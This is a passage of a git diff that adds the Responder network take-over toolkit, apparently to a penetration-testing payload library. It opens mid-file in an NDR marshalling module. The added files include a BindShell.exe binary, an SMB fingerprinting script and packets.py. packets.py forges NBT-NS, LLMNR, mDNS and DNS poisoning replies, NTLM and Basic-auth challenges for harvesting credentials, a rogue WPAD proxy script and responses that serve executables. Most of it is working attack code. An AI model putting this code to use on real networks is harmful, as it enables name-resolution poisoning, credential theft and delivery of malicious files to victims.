data[:256])) + raise + return soFar - soFar0 + + def pack(self, fieldName, fieldTypeOrClass, soFar = 0): + if isinstance(self.fields[fieldName], NDR): + return self.fields[fieldName].getData(soFar) + + data = self.fields[fieldName] + # void specifier + if fieldTypeOrClass[:1] == '_': + return '' + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + try: + return self.pack(fieldName, two[0], soFar) + except: + self.fields[fieldName] = eval(two[1], {}, self.fields) + return self.pack(fieldName, two[0], soFar) + + if data is None: + raise Exception('Trying to pack None') + + # literal specifier + if fieldTypeOrClass[:1] == ':': + return str(data) + + # struct like specifier + return pack(fieldTypeOrClass, data) + + def unpack(self, fieldName, fieldTypeOrClass, data, soFar = 0): + size = self.calcUnPackSize(fieldTypeOrClass, data) + data = data[:size] + if isinstance(self.fields[fieldName], NDR): + return self.fields[fieldName].fromString(data, soFar) + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.unpack(fieldName,two[0], data, soFar) + + # literal specifier + if fieldTypeOrClass == ':': + if isinstance(fieldTypeOrClass, NDR): + return self.fields[fieldName].fromString(data, soFar) + else: + dataLen = self.getDataLen(data) + self.fields[fieldName] = data[:dataLen] + return dataLen + + # struct like specifier + self.fields[fieldName] = unpack(fieldTypeOrClass, data)[0] + return size + + def calcPackSize(self, fieldTypeOrClass, data): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.calcPackSize(two[0], data) + + # literal specifier + if fieldTypeOrClass[:1] == ':': + return len(data) + + # struct like specifier + return calcsize(fieldTypeOrClass) + + def calcUnPackSize(self, fieldTypeOrClass, data): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.calcUnPackSize(two[0], data) + + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + return len(data) + + # literal specifier + if fieldTypeOrClass[:1] == ':': + return len(data) + + # struct like specifier + return calcsize(fieldTypeOrClass) + +# NDR Primitives +class NDRSMALL(NDR): + align = 1 + structure = ( + ('Data', 'b=0'), + ) + +class NDRUSMALL(NDR): + align = 1 + structure = ( + ('Data', 'B=0'), + ) + +class NDRBOOLEAN(NDRSMALL): + def dump(self, msg = None, indent = 0): + if msg is None: msg = self.__class__.__name__ + if msg != '': + print msg, + + if self['Data'] > 0: + print " TRUE" + else: + print " FALSE" + +class NDRCHAR(NDR): + align = 1 + structure = ( + ('Data', 'c'), + ) + +class NDRSHORT(NDR): + align = 2 + structure = ( + ('Data', ' 0: + soFar += pad0 + arrayPadding = '\xef'*pad0 + else: + arrayPadding = '' + # And now, let's pretend we put the item in + soFar += arrayItemSize + data = self.fields[fieldName].getData(soFar) + data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data + else: + pad = self.calculatePad(fieldTypeOrClass, soFar) + if pad > 0: + soFar += pad + data += '\xcc'*pad + + data += self.pack(fieldName, fieldTypeOrClass, soFar) + + # Any referent information to pack? + if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): + data += self.fields[fieldName].getDataReferents(soFar0 + len(data)) + data += self.fields[fieldName].getDataReferent(soFar0 + len(data)) + soFar = soFar0 + len(data) + + except Exception, e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def calcPackSize(self, fieldTypeOrClass, data): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) + + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + answer = 0 + for each in data: + if self.isNDR(self.item): + item = ':' + else: + item = self.item + answer += self.calcPackSize(item, each) + return answer + else: + return NDR.calcPackSize(self, fieldTypeOrClass, data) + + def getArrayMaximumSize(self, fieldName): + if self.fields[fieldName].fields['MaximumCount'] > 0: + return self.fields[fieldName].fields['MaximumCount'] + else: + return self.fields[fieldName].getArraySize() + + def getArraySize(self,fieldName, data, soFar): + if self._isNDR64: + arrayItemSize = 8 + arrayUnPackStr = ' 0: + soFar += pad0 + data = data[pad0:] + + if isinstance(self.fields[fieldName], NDRUniConformantArray): + # Array Size is at the very begining + arraySize = unpack(arrayUnPackStr, data[:arrayItemSize])[0] + elif isinstance(self.fields[fieldName], NDRUniConformantVaryingArray): + # NDRUniConformantVaryingArray Array + # Unpack the Maximum Count + maximumCount = unpack(arrayUnPackStr, data[:arrayItemSize])[0] + # Let's store the Maximum Count for later use + self.fields[fieldName].fields['MaximumCount'] = maximumCount + # Unpack the Actual Count + arraySize = unpack(arrayUnPackStr, data[arrayItemSize*2:][:arrayItemSize])[0] + else: + # NDRUniVaryingArray Array + arraySize = unpack(arrayUnPackStr, data[arrayItemSize:][:arrayItemSize])[0] + + return arraySize, arrayItemSize+pad0 + + def fromStringReferents(self, data, soFar = 0): + soFar0 = soFar + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): + size = self.fields[fieldName].fromStringReferents(data, soFar) + data = data[size:] + soFar += size + size = self.fields[fieldName].fromStringReferent(data, soFar) + soFar += size + data = data[size:] + return soFar - soFar0 + + def fromStringReferent(self, data, soFar = 0): + if hasattr(self, 'referent') is not True: + return 0 + + soFar0 = soFar + + if self.fields.has_key('ReferentID'): + if self['ReferentID'] == 0: + # NULL Pointer, there's no referent for it + return 0 + + for fieldName, fieldTypeOrClass in self.referent: + try: + if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray): + # Get the array size + arraySize, advanceStream = self.getArraySize(fieldName, data, soFar) + soFar += advanceStream + data = data[advanceStream:] + + # Let's tell the array how many items are available + self.fields[fieldName].setArraySize(arraySize) + size = self.fields[fieldName].fromString(data, soFar) + else: + # ToDo: Align only if not NDR + pad = self.calculatePad(fieldTypeOrClass, soFar) + if pad > 0: + soFar += pad + data = data[pad:] + + size = self.unpack(fieldName, fieldTypeOrClass, data, soFar) + + if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): + size += self.fields[fieldName].fromStringReferents(data[size:], soFar + size) + size += self.fields[fieldName].fromStringReferent(data[size:], soFar + size) + data = data[size:] + soFar += size + except Exception,e: + LOG.error(str(e)) + LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256])) + raise + + return soFar-soFar0 + + def calcUnPackSize(self, fieldTypeOrClass, data): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) + + two = fieldTypeOrClass.split('*') + if len(two) == 2: + return len(data) + else: + return NDR.calcUnPackSize(self, fieldTypeOrClass, data) + +# Uni-dimensional Fixed Arrays +class NDRArray(NDRCONSTRUCTEDTYPE): + def dump(self, msg = None, indent = 0): + if msg is None: msg = self.__class__.__name__ + ind = ' '*indent + if msg != '': + print msg, + + if isinstance(self['Data'], list): + print "\n%s[" % ind + ind += ' '*4 + for num,j in enumerate(self.fields['Data']): + if isinstance(j, NDR): + j.dump('%s' % ind, indent = indent + 4), + print "," + else: + print "%s %r," % (ind,j) + print "%s]" % ind[:-4], + else: + print " %r" % self['Data'], + + def setArraySize(self, size): + self.arraySize = size + + def getArraySize(self): + return self.arraySize + + def changeTransferSyntax(self, newSyntax): + # Here we gotta go over each item in the array and change the TS + # Only if the item type is NDR + if hasattr(self, 'item') and self.item is not None: + if self.isNDR(self.item): + for item in self.fields['Data']: + item.changeTransferSyntax(newSyntax) + return NDRCONSTRUCTEDTYPE.changeTransferSyntax(self, newSyntax) + + def getAlignment(self): + # Array alignment is the largest alignment of the array element type and + # the size information type, if any. + align = 0 + # And now the item + if hasattr(self, "item") and self.item is not None: + if self.isNDR(self.item): + tmpAlign = self.item().getAlignment() + else: + tmpAlign = self.calcPackSize(self.item, '') + if tmpAlign > align: + align = tmpAlign + return align + + def getData(self, soFar = 0): + data = '' + soFar0 = soFar + for fieldName, fieldTypeOrClass in self.structure: + try: + if self.isNDR(fieldTypeOrClass) is False: + # If the item is not NDR (e.g. ('MaximumCount', ' 0: + soFar += pad + data += '\xca'*pad + + res = self.pack(fieldName, fieldTypeOrClass, soFar) + data += res + soFar = soFar0 + len(data) + except Exception, e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def pack(self, fieldName, fieldTypeOrClass, soFar = 0): + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + answer = '' + if self.isNDR(self.item): + item = ':' + dataClass = self.item + self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64) + else: + item = self.item + dataClass = None + self.fields['_tmpItem'] = item + + for each in self.fields[fieldName]: + pad = self.calculatePad(self.item, len(answer)+soFar) + if pad > 0: + answer += '\xdd' * pad + if dataClass is None: + answer += pack(item, each) + else: + answer += each.getData(len(answer)+soFar) + + if dataClass is not None: + for each in self.fields[fieldName]: + if isinstance(each, NDRCONSTRUCTEDTYPE): + answer += each.getDataReferents(len(answer)+soFar) + answer += each.getDataReferent(len(answer)+soFar) + + del(self.fields['_tmpItem']) + if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray): + # First field points to a field with the amount of items + self.setArraySize(len(self.fields[fieldName])) + else: + self.fields[two[1]] = len(self.fields[fieldName]) + + return answer + else: + return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar) + + def fromString(self, data, soFar = 0): + soFar0 = soFar + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + if self.isNDR(fieldTypeOrClass) is False: + # If the item is not NDR (e.g. ('MaximumCount', ' 0: + soFar += pad + data = data[pad:] + + size = self.unpack(fieldName, fieldTypeOrClass, data, soFar) + + data = data[size:] + soFar += size + except Exception,e: + LOG.error(str(e)) + LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256])) + raise + return soFar - soFar0 + + def unpack(self, fieldName, fieldTypeOrClass, data, soFar = 0): + # array specifier + two = fieldTypeOrClass.split('*') + answer = [] + soFarItems = 0 + soFar0 = soFar + if len(two) == 2: + if isinstance(self, NDRUniConformantArray): + # First field points to a field with the amount of items + numItems = self.getArraySize() + elif isinstance(self, NDRUniConformantVaryingArray): + # In this case we have the MaximumCount but it could be different from the ActualCount. + # Let's make the unpack figure this out. + #self.fields['MaximumCount'] = self.getArraySize() + numItems = self[two[1]] + else: + numItems = self[two[1]] + + # The item type is determined by self.item + if self.isNDR(self.item): + item = ':' + dataClassOrCode = self.item + self.fields['_tmpItem'] = dataClassOrCode(isNDR64=self._isNDR64) + else: + item = self.item + dataClassOrCode = None + self.fields['_tmpItem'] = item + + nsofar = 0 + while numItems and soFarItems < len(data): + pad = self.calculatePad(self.item, soFarItems+soFar) + if pad > 0: + soFarItems +=pad + if dataClassOrCode is None: + nsofar = soFarItems + calcsize(item) + answer.append(unpack(item, data[soFarItems:nsofar])[0]) + else: + itemn = dataClassOrCode(isNDR64=self._isNDR64) + size = itemn.fromString(data[soFarItems:], soFar+soFarItems) + answer.append(itemn) + nsofar += size + pad + numItems -= 1 + soFarItems = nsofar + + if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE): + # We gotta go over again, asking for the referents + data = data[soFarItems:] + answer2 = [] + for itemn in answer: + size = itemn.fromStringReferents(data, soFarItems+soFar) + soFarItems += size + data = data[size:] + size = itemn.fromStringReferent(data, soFarItems+soFar) + soFarItems += size + data = data[size:] + answer2.append(itemn) + answer = answer2 + del answer2 + + del(self.fields['_tmpItem']) + + self.fields[fieldName] = answer + return soFarItems + soFar - soFar0 + else: + return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, soFar) + +class NDRUniFixedArray(NDRArray): + structure = ( + ('Data',':'), + ) + +# Uni-dimensional Conformant Arrays +class NDRUniConformantArray(NDRArray): + item = 'c' + structure = ( + #('MaximumCount', '
+ + +
+ + + diff --git a/payloads/library/tools_installer/tools_to_install/responder/files/BindShell.exe b/payloads/library/tools_installer/tools_to_install/responder/files/BindShell.exe new file mode 100644 index 0000000..b1a8e63 Binary files /dev/null and b/payloads/library/tools_installer/tools_to_install/responder/files/BindShell.exe differ diff --git a/payloads/library/tools_installer/tools_to_install/responder/fingerprint.py b/payloads/library/tools_installer/tools_to_install/responder/fingerprint.py new file mode 100644 index 0000000..6e2c29c --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/fingerprint.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import struct + +from utils import color +from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData + +def OsNameClientVersion(data): + try: + length = struct.unpack('i", len(''.join(Packet)))+Packet + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") + Body = SMBSessionFingerData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x73\x16": + return OsNameClientVersion(data) + except: + print color("[!] ", 1, 1) +" Fingerprint failed" + return None diff --git a/payloads/library/tools_installer/tools_to_install/responder/logs/.gitignore b/payloads/library/tools_installer/tools_to_install/responder/logs/.gitignore new file mode 100644 index 0000000..e69de29 diff --git a/payloads/library/tools_installer/tools_to_install/responder/odict.py b/payloads/library/tools_installer/tools_to_install/responder/odict.py new file mode 100644 index 0000000..4e7b93b --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/odict.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from UserDict import DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] + self.__map = {} + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = reversed(self).next() + else: + key = iter(self).next() + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return self.__class__, (items,), inst_dict + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, self.items()) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + return len(self)==len(other) and \ + min(p==q for p, q in zip(self.items(), other.items())) + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other diff --git a/payloads/library/tools_installer/tools_to_install/responder/packets.py b/payloads/library/tools_installer/tools_to_install/responder/packets.py new file mode 100644 index 0000000..9820e26 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/packets.py @@ -0,0 +1,1600 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import settings + +from base64 import b64decode, b64encode +from odict import OrderedDict +from utils import HTTPCurrentDate, RespondWithIPAton + +# Packet class handling all packet generation (see odict.py). +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +# NBT Answer Packet +class NBT_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("NbtName", ""), + ("Type", "\x00\x20"), + ("Classy", "\x00\x01"), + ("TTL", "\x00\x00\x00\xa5"), + ("Len", "\x00\x06"), + ("Flags1", "\x00\x00"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["NbtName"] = data[12:46] + self.fields["IP"] = RespondWithIPAton() + +# DNS Answer Packet +class DNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +# LLMNR Answer Packet +class LLMNR_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x00"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionNameLen", "\x09"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerNameLen", "\x09"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] + self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] + +# MDNS Answer Packet +class MDNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", "\x00\x00"), + ("Flags", "\x84\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +##### HTTP Packets ##### +class NTLM_Challenge(Packet): + fields = OrderedDict([ + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + # Target Name Offsets + self.fields["TargetNameOffset"] = struct.pack("\n\n\n\nLoading\n\n\n"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class IIS_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "WWW-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +class IIS_Basic_401_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), + ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), + ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +##### Proxy mode Packets ##### +class WPADScript(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeExeFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: application/octet-stream\r\n"), + ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("ContentDisp", "Content-Disposition: attachment; filename="), + ("ContentDiFile", ""), + ("FileCRLF", ";\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("X-CCC", "US\r\n"), + ("X-CID", "2\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeHtmlFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: text/html\r\n"), + ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +##### WPAD Auth Packets ##### +class WPAD_Auth_407_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), + ("Connection", "Proxy-Connection: close\r\n"), + ("Cache-Control", "Cache-Control: no-cache\r\n"), + ("Pragma", "Pragma: no-cache\r\n"), + ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + +class WPAD_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "Proxy-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +class WPAD_Basic_407_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"), + ("Connection", "Proxy-Connection: close\r\n"), + ("Cache-Control", "Cache-Control: no-cache\r\n"), + ("Pragma", "Pragma: no-cache\r\n"), + ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +##### WEB Dav Stuff ##### +class WEBDAV_Options_Answer(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("ServerType", "Server: 